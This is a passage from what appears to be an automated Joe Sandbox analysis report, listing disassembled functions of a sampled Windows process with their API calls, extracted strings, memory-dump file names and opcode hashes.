                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: NameName::$Name::operator+atolswprintf_s
                                                    • String ID: NULL$`generic-class-parameter-$`generic-method-parameter-$`template-type-parameter-$lambda$nullptr
                                                    • API String ID: 2331677841-2441609178
                                                    • Opcode ID: 9797e925e62f8d7d60f646e305733279f9163504f8593401decf67f28b7cb35e
                                                    • Instruction ID: 7e17d743b222922c7c9bdc72f2dcff32b43cf47136e25e4dc843c2aab51206fb
                                                    • Opcode Fuzzy Hash: 9797e925e62f8d7d60f646e305733279f9163504f8593401decf67f28b7cb35e
                                                    • Instruction Fuzzy Hash: EFF17022F08E5288FB34AB6685551BC27A1AF4DF64F4401F7C98F16AB5DE3CA979C340
                                                    Function 00007FF6399B15C0 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 137COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Message
                                                    • String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
                                                    • API String ID: 2030045667-1550345328
                                                    • Opcode ID: e3ef145b8e4e6e342cbff31276d98a709ae9a36c294bf9f028fee9e6f1cf9cb9
                                                    • Instruction ID: 9e4c4bbbb682ef41f8687e9d242246bb55c0aa68d4ce875493744222d2cb0a94
                                                    • Opcode Fuzzy Hash: e3ef145b8e4e6e342cbff31276d98a709ae9a36c294bf9f028fee9e6f1cf9cb9
                                                    • Instruction Fuzzy Hash: D3518E62B0864392EA209F15A8901BA23A6FF44B94F4C4131EE1D877DFEF7CE554AB40
                                                    Function 00007FF6399B77D0 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 115COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6399B86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6399B3FA4,00000000,00007FF6399B1925), ref: 00007FF6399B86E9
                                                    • ExpandEnvironmentStringsW.KERNEL32(?,00007FF6399B7C97,?,?,FFFFFFFF,00007FF6399B3834), ref: 00007FF6399B782C
                                                      • Part of subcall function 00007FF6399B26C0: MessageBoxW.USER32 ref: 00007FF6399B2736
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
                                                    • String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
                                                    • API String ID: 1662231829-930877121
                                                    • Opcode ID: c3532161b1b2b7c53ec0a0b3f79f5e94743c67efbab5da7731ebfcd00691680a
                                                    • Instruction ID: 171f60cf0536e381e9dd6c6e71f96f09d87888ea8165b2a04250ab5cc8896131
                                                    • Opcode Fuzzy Hash: c3532161b1b2b7c53ec0a0b3f79f5e94743c67efbab5da7731ebfcd00691680a
                                                    • Instruction Fuzzy Hash: AB415011A2C64381FA50AF29DC916BA6273EF94784F4C5436D64EC6BDFEE2CE504AF40
                                                    Function 00007FFE14635F88 Relevance: 22.8, APIs: 8, Strings: 5, Instructions: 95COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: SizeTuple_$Arg_Buffer_ParseRelease$AuditErr_FormatFromLong_Ssize_tSys_
                                                    • String ID: sendto$sendto() takes 2 or 3 arguments (%zd given)$socket.sendto$y*O:sendto$y*iO:sendto
                                                    • API String ID: 3528750861-2448770124
                                                    • Opcode ID: 3f37940c09982445fecb495795ba355f1bd1191ababdbabc58c2e70a8844f799
                                                    • Instruction ID: 23d91679f4dc91a281968ef620f71be3784ce3a592024380f10876210f3d7446
                                                    • Opcode Fuzzy Hash: 3f37940c09982445fecb495795ba355f1bd1191ababdbabc58c2e70a8844f799
                                                    • Instruction Fuzzy Hash: 4A41EE76608F8685E710CF66E8902A977A4FB467ACF500176EA4D43B69DF3CD948C780
                                                    Function 00007FFDFF19A36C Relevance: 22.8, APIs: 15, Instructions: 336COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+
                                                    • String ID:
                                                    • API String ID: 2943138195-0
                                                    • Opcode ID: cba6b1e9fb4b67cf24b22bddb9d4fa9a5090f12331f9dc9502d7e84557dfec21
                                                    • Instruction ID: 2ce0aa2191fa5b544bd8af084ac1b7e99622189920931853c111d9fcd80850f1
                                                    • Opcode Fuzzy Hash: cba6b1e9fb4b67cf24b22bddb9d4fa9a5090f12331f9dc9502d7e84557dfec21
                                                    • Instruction Fuzzy Hash: D9F16A73F08A829AEB20DF64E4A05EC37B1AB4474CB444276DA6D57ADDDF38D619C380
                                                    Function 00007FFDFF15BAF0 Relevance: 22.6, APIs: 15, Instructions: 126COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF15844C), ref: 00007FFDFF15BB3F
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF15844C), ref: 00007FFDFF15BB4D
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF15844C), ref: 00007FFDFF15BB61
                                                    • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF15844C), ref: 00007FFDFF15BB7B
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF15844C), ref: 00007FFDFF15BB8E
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF15844C), ref: 00007FFDFF15BBBC
                                                    • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF15844C), ref: 00007FFDFF15BBE2
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF15844C), ref: 00007FFDFF15BC0B
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF15844C), ref: 00007FFDFF15BC19
                                                    • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF15844C), ref: 00007FFDFF15BC24
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF15844C), ref: 00007FFDFF15BC46
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF15844C), ref: 00007FFDFF15BC54
                                                    • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF15844C), ref: 00007FFDFF15BC5F
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF15844C), ref: 00007FFDFF15BC9D
                                                      • Part of subcall function 00007FFDFF162070: HeapFree.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00007FFDFF15F368,?,?,?), ref: 00007FFDFF162085
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorLastValue$FreeHeap
                                                    • String ID:
                                                    • API String ID: 1971407770-0
                                                    • Opcode ID: d45222136192229ddabd597837c423277c0d267546845e6dfec4e7550f8ae6c9
                                                    • Instruction ID: 996a30def4f69737b0e710a9ac2f9f8df2f2fdb324081ed1bb3d66d79fab1ae9
                                                    • Opcode Fuzzy Hash: d45222136192229ddabd597837c423277c0d267546845e6dfec4e7550f8ae6c9
                                                    • Instruction Fuzzy Hash: 1B516022F09B8286FB64DF25A4649382360BF45B54F184734D97E877EDDF7CA5518304
                                                    Function 00007FFE14633EA0 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 89COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: BuildSizeValue_
                                                    • String ID: OiII$Unknown Bluetooth protocol$iy#
                                                    • API String ID: 1740464280-1931379703
                                                    • Opcode ID: b5019a4988a9f915db0a6d89845ec5f5414b5f4d07377de8373c280a0b5a3016
                                                    • Instruction ID: 6198e390f24d27ac630e2abed43c458cebdedda6e4debe9541423e849b494fe3
                                                    • Opcode Fuzzy Hash: b5019a4988a9f915db0a6d89845ec5f5414b5f4d07377de8373c280a0b5a3016
                                                    • Instruction Fuzzy Hash: B6313F21A0CEC281EA649B17E5C5079A2F0AF46BA8B4440B5EA0D47B75DF3CE89DC380
                                                    Function 00007FFE1A49AC40 Relevance: 19.9, APIs: 13, Instructions: 361COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+
                                                    • String ID:
                                                    • API String ID: 2943138195-0
                                                    • Opcode ID: b0c5aa40c95afe9820d08c2b3a0b3f0a0bd29e174dcc6565612d28bd398cd5cc
                                                    • Instruction ID: 0dc9e0e491c62d3a44121681f69e8bf2139ddff831cc630c7c362dadbf8a1718
                                                    • Opcode Fuzzy Hash: b0c5aa40c95afe9820d08c2b3a0b3f0a0bd29e174dcc6565612d28bd398cd5cc
                                                    • Instruction Fuzzy Hash: 22F16E76B08A929EEB30DF66D4501FC37B1AB48B5CB4040B6DA4E57AA9DF38D536C340
                                                    Function 00007FFE14635BA4 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 69COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: Buffer_Release$Size$Arg_BuildDeallocErr_Keywords_ParseStringTupleValue_
                                                    • String ID: nbytes is greater than the length of the buffer$negative buffersize in recvfrom_into$w*|ni:recvfrom_into
                                                    • API String ID: 252658603-4033050226
                                                    • Opcode ID: 7770c21abc1e98952bb05a00ddef4d54aceea9117a956bb039f88ab0940e4950
                                                    • Instruction ID: 71372f932f120e61649a364bd1b88c8dd3b39955835a1fd940f033ec1c067512
                                                    • Opcode Fuzzy Hash: 7770c21abc1e98952bb05a00ddef4d54aceea9117a956bb039f88ab0940e4950
                                                    • Instruction Fuzzy Hash: 6331FD72A09F8681EB108B52E8941B973B0FB8ABACF500576D98D47B65DF3DD54CC780
                                                    Function 00007FFE1463706C Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 44threadnetworkCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: Eval_Thread$Arg_AuditErr_FromLongLong_ParseRestoreSaveSizeStringSys_Tuple_getservbynamehtons
                                                    • String ID: service/proto not found$socket.getservbyname$s|s:getservbyname
                                                    • API String ID: 1135235387-1257235949
                                                    • Opcode ID: 6bff8297cce08953e3afc7c75cc212c91fc154ff3befdf006637c4b14c249c61
                                                    • Instruction ID: 8c3d7cf34e844aba4cac098378259d91893ef0c4fa9d41089d82399490ef6eb8
                                                    • Opcode Fuzzy Hash: 6bff8297cce08953e3afc7c75cc212c91fc154ff3befdf006637c4b14c249c61
                                                    • Instruction Fuzzy Hash: B211F126608E8381EA108B13F8842B963B0FF46BA9F5450B1DA4E47778DF3CD84DC780
                                                    Function 00007FFDFF160B9C Relevance: 18.1, APIs: 12, Instructions: 139COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorLast$Value
                                                    • String ID:
                                                    • API String ID: 1883355122-0
                                                    • Opcode ID: 35f196c39e9f57e60ee2d9b41a38a6ef83498147af536d1246b52d3bd9bc498d
                                                    • Instruction ID: 4274f6c783a9202fd4f87c14bc302afc45ed392aa9f9dd826e3acf68f552ec83
                                                    • Opcode Fuzzy Hash: 35f196c39e9f57e60ee2d9b41a38a6ef83498147af536d1246b52d3bd9bc498d
                                                    • Instruction Fuzzy Hash: C551F726F09B8686EB549F65E470A782360BF84F84F544635DA3E833EADF2CE845C340
                                                    Function 00007FFDFF1691E0 Relevance: 18.1, APIs: 12, Instructions: 83COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF1691EF
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF1691FD
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF169211
                                                    • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF16922B
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF16923E
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF16926C
                                                    • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF169292
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF1692A9
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF1692B7
                                                    • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF1692C2
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF1692EF
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Value$ErrorLast
                                                    • String ID:
                                                    • API String ID: 2506987500-0
                                                    • Opcode ID: d5caf07921151a3b7cd360742ed26b44bddc3b47f5f8b8505a55cd26872c86be
                                                    • Instruction ID: 81e422cc0ca9e61716f9d3d9608c55266ccea6ad94f5db8140dab1f1a672d3e8
                                                    • Opcode Fuzzy Hash: d5caf07921151a3b7cd360742ed26b44bddc3b47f5f8b8505a55cd26872c86be
                                                    • Instruction Fuzzy Hash: 3E311726F09A4287FB489F65A874D382361AF85BA4F444739D93E877DEDF3CA9018604
                                                    Function 00007FFE1A492F14 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 314COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: BlockFrameHandler3::Unwindabortterminate$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                                    • String ID: csm$csm$csm
                                                    • API String ID: 4223619315-393685449
                                                    • Opcode ID: 1fea5c564d133bdba3aecb898f1e2b7bc476544beebca211cb7a23793dbe9004
                                                    • Instruction ID: 079a334e5a0b77dcca762db2ae7360d4a6a1b7ef163ef8b149262e74b38f3128
                                                    • Opcode Fuzzy Hash: 1fea5c564d133bdba3aecb898f1e2b7bc476544beebca211cb7a23793dbe9004
                                                    • Instruction Fuzzy Hash: 7BE15172B08B4186EB309F6694442BD77A4FB49BA8F1011BADE4E57B65CF38E5B4C700
                                                    Function 00007FFDFF19C700 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 230COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: NULL$`generic-class-parameter-$`generic-method-parameter-$`template-type-parameter-
                                                    • API String ID: 0-4167119577
                                                    • Opcode ID: d75f0c1a294e6937a3bc756fe126f056db90dbff4f35f65fb7689ccf23d0feee
                                                    • Instruction ID: 62e14b44ae4df8517971b8d99dd510a149ca37d768a7d5c95665b344f0d5883a
                                                    • Opcode Fuzzy Hash: d75f0c1a294e6937a3bc756fe126f056db90dbff4f35f65fb7689ccf23d0feee
                                                    • Instruction Fuzzy Hash: B8B13523F1865688FB209F61D875BFC2371AF44748F840236DA7D526EEDF6CA6048381
                                                    Function 00007FFE1A49E72C Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 192COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: Replicator::operator[]
                                                    • String ID: `generic-type-$`template-parameter-$generic-type-$template-parameter-
                                                    • API String ID: 3676697650-3207858774
                                                    • Opcode ID: ecd4a8ae6d7230611fff1dd4e64a59f99909a897cce7822f33257ee1ddf9a1a8
                                                    • Instruction ID: 03d330f2ad740f550ff4cc1d14e5d9d386f85a185bfc3a3ec7f1725fbbce25d5
                                                    • Opcode Fuzzy Hash: ecd4a8ae6d7230611fff1dd4e64a59f99909a897cce7822f33257ee1ddf9a1a8
                                                    • Instruction Fuzzy Hash: B8917B62B08F9689EB70CF26D4412B867A1AB88B64F5441F3DA5E036B5DF3CE575C340
                                                    Function 00007FF6399B20F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
